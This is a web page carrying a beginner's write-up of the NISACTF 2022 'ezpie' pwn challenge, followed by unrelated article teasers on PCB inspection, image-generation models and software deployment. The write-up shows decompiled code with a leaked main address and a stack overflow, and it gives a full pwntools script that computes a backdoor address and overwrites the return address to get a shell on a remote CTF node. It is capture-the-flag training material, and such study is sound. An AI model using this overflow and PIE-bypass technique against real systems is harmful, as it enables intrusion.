news 2026/6/15 17:38:58

[NISACTF 2022]ezpie

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[NISACTF 2022]ezpie

第一次打CTF——PWN篇学习笔记14

这道题开启了PIE保护,但程序中直接泄露了main函数的随机地址,因此我们可以进行直接计算

int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); puts("OHHH!,give you a gift!"); printf("%p\n", main); puts("Input:"); vuln(); return 0; } ssize_t vuln() { _BYTE buf[40]; // [esp+0h] [ebp-28h] BYREF ​ return read(0, buf, 0x50u); } ssize_t vuln() { _BYTE buf[40]; // [esp+0h] [ebp-28h] BYREF ​ return read(0, buf, 0x50u); }

又发现栈溢出和后门函数,且main函数地址为0x770,shell函数地址为0x80F,据此编写脚本,即可得到flag

from pwn import * import struct ​ context.arch = 'i386' context.os = 'linux' ​ #io = process('./pwn') io = remote("node5.anna.nssctf.cn",23609) ​ io.recvuntil(b"OHHH!,give you a gift!\n") ​ main = int(io.recvline().strip(), 16) ​ backdoor = main - 0x770 + 0x80F ​ payload = cyclic(0x28 + 4) + p64(backdoor) ​ io.sendline(payload) ​ io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/15 15:45:03

PCB层压品质检测,这些方法比X光更靠谱!

很多 PCB 工程师觉得,层压后的品质检测,靠 X 光机打一打,看看有没有气泡和层偏就够了。其实不然!X 光检测只能发现比较明显的层间缺陷,很多隐性的缺陷,比如微裂纹、树脂固化不完全、层间结合力不足&#xf…

作者头像 李华
网站建设 2026/6/15 9:32:27

FLUX.1-ControlNet图像生成问题全解

FLUX.1-ControlNet图像生成问题全解 在当前AI图像生成技术快速演进的背景下,FLUX.1-dev 凭借其创新的 Flow Transformer 架构 和高达 120亿参数规模,正逐步成为高保真文生图任务的新标杆。它不仅在细节还原、复杂语义理解方面表现卓越,更通过…

作者头像 李华
网站建设 2026/6/15 5:00:36

Dify本地部署指南:Docker安装与镜像配置

Dify本地部署实战:从Docker环境搭建到离线安装全解析 在企业级AI应用开发日益普及的今天,如何快速构建一个稳定、可扩展的智能系统成为开发者面临的核心挑战。Dify作为开源领域中少有的可视化大模型应用开发平台,凭借其对Prompt工程、RAG&am…

作者头像 李华
网站建设 2026/6/15 7:11:23

ComfyUI ACE-Step:用AI轻松创作多风格音乐

ComfyUI ACE-Step:用AI轻松创作多风格音乐 在短视频、独立游戏和自媒体内容爆炸式增长的今天,高质量原创配乐的需求前所未有地高涨。但对大多数创作者而言,专业作曲依然是一道难以逾越的门槛——你或许能写出动人故事,却未必懂得…

作者头像 李华
网站建设 2026/6/15 8:23:01

BabylonJS:前端3D开发的入门指南

目录 第一章:启航!三维世界的入场券 1.1 WebGL与BabylonJS:你的浏览器里藏着一个宇宙 3D图形学极简史:从三角形到元宇宙 BabylonJS的“超能力清单”:为什么选它? 环境搭建:Node.js、TypeScr…

作者头像 李华
网站建设 2026/6/15 7:16:00

串的代码实现

前言最近期末临近,我不得不分出我宝贵的时间去应对那该死的期末考试,我宝贵的清晨无法完整地投入到代码中去让我感觉十分沮丧,今天在休息的时候了解到智谱开源了他们家的auto GLM大模型,这是什么东西呢,它是一种智能手…

作者头像 李华